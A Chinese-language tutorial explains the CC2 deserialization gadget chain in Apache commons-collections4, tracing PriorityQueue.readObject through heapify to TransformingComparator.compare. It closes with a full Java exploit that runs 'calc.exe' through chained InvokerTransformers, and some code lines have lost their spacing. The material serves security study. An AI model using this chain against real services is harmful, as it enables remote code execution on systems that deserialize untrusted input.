目录

关于commons-collections4

一个重要的思维模型

触发Transform的关键类：TransformingComparator

反序列化的入口：PriorityQueue

Exp

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关于commons-collections4

commons-collections4 是 Apache Commons 组件库中的一个项目，它是对旧版本 commons-collections 的重构和升级。主要的区别包括：

1. API 设计：commons-collections4 重新设计了 API，并且引入了一些新的功能和改进，同时也修复了一些旧版本中存在的 bug。

2. 性能优化：commons-collections4 进行了性能优化，使得在实际使用中更加高效。

3. 安全性增强：commons-collections4 引入了更多的安全性措施，以防止常见的安全漏洞。

commons-collections4有了两条新的利用链，CC2和CC4，这篇文章简单聊聊CC2

一个重要的思维模型

CC链是一条Serializable#readObject()到Transformer#transform()的调用链

触发Transform的关键类：TransformingComparator

看其compare方法就可，简单粗暴直接调用transform

public int compare(I obj1, I obj2) {O value1 = this.transformer.transform(obj1);O value2 = this.transformer.transform(obj2);return this.decorated.compare(value1, value2);}

现在我们的任务就是怎么去调用TransformingComparator的compare方法

反序列化的入口：PriorityQueue

先看PriorityQueue的构造方法，要求传入一个int和一个Comparator

 public PriorityQueue(int initialCapacity,Comparator<? super E> comparator) {// Note: This restriction of at least one is not actually needed,// but continues for 1.5 compatibilityif (initialCapacity < 1)throw new IllegalArgumentException();this.queue = new Object[initialCapacity];this.comparator = comparator;}

再来看PriorityQueue的readObject方法

private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {// Read in size, and any hidden stuffs.defaultReadObject();// Read in (and discard) array lengths.readInt();SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Object[].class, size);final Object[] es = queue = new Object[Math.max(size, 1)];// Read in all elements.for (int i = 0, n = size; i < n; i++)es[i] = s.readObject();// Elements are guaranteed to be in "proper order", but the// spec has never explained what that might be.heapify();}

最后调用了heapify方法

显然由构造方法传入的comparator不为null，heapify方法进了else分支调用siftDownUsingComparator

 private void heapify() {final Object[] es = queue;int n = size, i = (n >>> 1) - 1;final Comparator<? super E> cmp;if ((cmp = comparator) == null)for (; i >= 0; i--)siftDownComparable(i, (E) es[i], es, n);elsefor (; i >= 0; i--)siftDownUsingComparator(i, (E) es[i], es, n, cmp);}

而siftDownUsingComparator内部会调用构造方法传入的comparator的compare方法，此时我们只要令comparator为TransformingComparator即可完成利用链的调用。

 private static <T> void siftDownUsingComparator(int k, T x, Object[] es, int n, Comparator<? super T> cmp) {// assert n > 0;int half = n >>> 1;while (k < half) {int child = (k << 1) + 1;Object c = es[child];int right = child + 1;if (right < n && cmp.compare((T) c, (T) es[right]) > 0)c = es[child = right];if (cmp.compare(x, (T) c) <= 0)break;es[k] = c;k = child;}es[k] = x;}

Exp

package com.CC2;import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;public class CC2 {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {Transformer[] fakeTransformers = new Transformer[] {newConstantTransformer(1)};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc.exe" }),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);Comparator comparator = new TransformingComparator(transformerChain);PriorityQueue queue = new PriorityQueue(2, comparator);queue.add(1);queue.add(2);setFieldValue(transformerChain, "iTransformers", transformers);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(queue);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}
}